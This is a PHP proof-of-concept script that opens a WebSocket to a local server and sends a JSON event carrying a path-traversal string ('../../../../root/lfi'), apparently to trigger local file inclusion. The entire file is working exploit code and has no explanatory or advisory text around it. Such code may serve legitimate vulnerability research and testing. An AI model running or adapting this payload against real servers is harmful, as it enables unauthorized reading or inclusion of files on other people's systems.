<?php

  $host = '127.0.0.1';
  $port = 8080;
  $path = '/test123123';

  $event = '../../../../../../../root/lfi';

  function writeAll($socket, $data)
  {
      $offset = 0;
      $length = strlen($data);

      while ($offset < $length) {
          $written = fwrite($socket, substr($data, $offset));
          if ($written === false || $written === 0) {
              throw new Exception('Socket write failed');
          }
          $offset += $written;
      }
  }

  function websocketFrame($payload, $opcode = 1)
  {
      $length = strlen($payload);
      $mask = random_bytes(4);
      $masked = '';

      for ($i = 0; $i < $length; $i++) {
          $masked .= chr(
              ord($payload[$i]) ^ ord($mask[$i % 4])
          );
      }

      if ($length < 126) {
          $header = chr(0x80 | $opcode) . chr(0x80 | $length);
      } elseif ($length <= 65535) {
          $header = chr(0x80 | $opcode) . chr(0x80 | 126) . pack('n', $length);
      } else {
          throw new Exception('Payload too large for this POC');
      }

      return $header . $mask . $masked;
  }

  $socket = fsockopen($host, $port, $errno, $error, 5);
  if (!$socket) {
      die("Connection failed: $error\n");
  }

  $key = base64_encode(random_bytes(16));

  $request =
      "GET $path HTTP/1.1\r\n" .
      "Host: $host:$port\r\n" .
      "Upgrade: websocket\r\n" .
      "Connection: Upgrade\r\n" .
      "Sec-WebSocket-Version: 13\r\n" .
      "Sec-WebSocket-Key: $key\r\n\r\n";

  writeAll($socket, $request);

  $response = '';
  while (strpos($response, "\r\n\r\n") === false) {
      $chunk = fread($socket, 4096);
      if ($chunk === false || $chunk === '') {
          die("No complete handshake response received\n");
      }
      $response .= $chunk;
  }

  if (!preg_match('/^HTTP\/\d\.\d\s+101\b/m', $response)) {
      die("WebSocket upgrade failed:\n$response\n");
  }

  preg_match('/^Sec-WebSocket-Accept:\s*(.+)$/mi', $response, $match);

  $expected = base64_encode(
      sha1($key . '258EAFA5-E914-47DA-95CA-5AB5DC587B41', true)
  );


  $received = trim($match[1] ?? '');

  if ($received !== $expected) {
      die(
          "Invalid Sec-WebSocket-Accept value\n" .
          "Received: $received\n" .
          "Expected: $expected\n"
      );
  }

  $payload = json_encode(array('event' => $event));
  writeAll($socket, websocketFrame($payload));

  echo "Sent event: $event\n";
  fclose($socket);